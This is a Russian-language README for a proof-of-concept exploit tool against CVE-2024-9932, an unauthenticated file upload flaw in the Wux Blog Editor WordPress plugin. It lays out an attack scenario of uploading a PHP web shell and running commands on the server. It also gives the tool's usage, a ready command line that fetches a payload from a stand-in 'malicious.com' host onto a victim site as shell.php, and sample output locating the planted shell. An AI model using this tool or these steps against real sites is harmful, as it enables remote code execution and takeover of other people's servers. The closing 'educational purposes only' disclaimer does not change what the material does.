
Эксплойт (proof-of-concept) для CVE-2024-9932 — уязвимость неаутентифицированной произвольной загрузки файлов в плагине WordPress Wux Blog Editor, позволяющая удаленное выполнение кода через загрузку вредоносного файла.
Плагин Wux Blog Editor для WordPress подвержен уязвимости произвольной загрузки файлов из-за недостаточной проверки типа файла в функции wuxbt_insertImageNew. Затронуты версии до 3.0.0 включительно. Эта уязвимость позволяет неавторизованным злоумышленникам загружать произвольные файлы на сервер, что потенциально может привести к удаленному выполнению кода (RCE).
Уязвимость возникает из-за неправильной проверки типа файла в функции wuxbt_insertImageNew. Это позволяет злоумышленникам загружать вредоносные файлы на сервер без аутентификации.
Сценарий атаки:
Злоумышленник находит сайт, использующий уязвимый плагин.
Эксплуатирует функцию загрузки файлов для загрузки вредоносного PHP-шелла.
Выполняет команды на скомпрометированном сервере.
usage:CVE-2024-9932.py [-h] -u URL -ur REMOTE_URL [-n NAME]
Wux Blog Editor - Arbitrary File Upload
options:
-h, --help show this help message and exit
-u URL, --url URL Base URL of the WordPress server, e.g., http://192.168.100.74/wordpress
-ur REMOTE_URL, --remote-url REMOTE_URL
Remote file URL, e.g., http://192.168.100.54/shell.txt
-n NAME, --name NAME Desired file name, e.g., Nxploit.php
python CVE-2024-9932.py -u http://victim-site.com/wordpress -ur http://malicious.com/payload.txt -n shell.php
Пример успешной загрузки
1- Файл найден:
2- Результат выполнения: Перейдите по URL-адресу файла для выполнения полезной нагрузки.
[+] File found: http://192.168.100.74/wordpress/wp-content/uploads/2025/01/shell.php
Этот инструмент предназначен только для образовательных целей. Несанкционированное использование этого скрипта на системах без разрешения незаконно.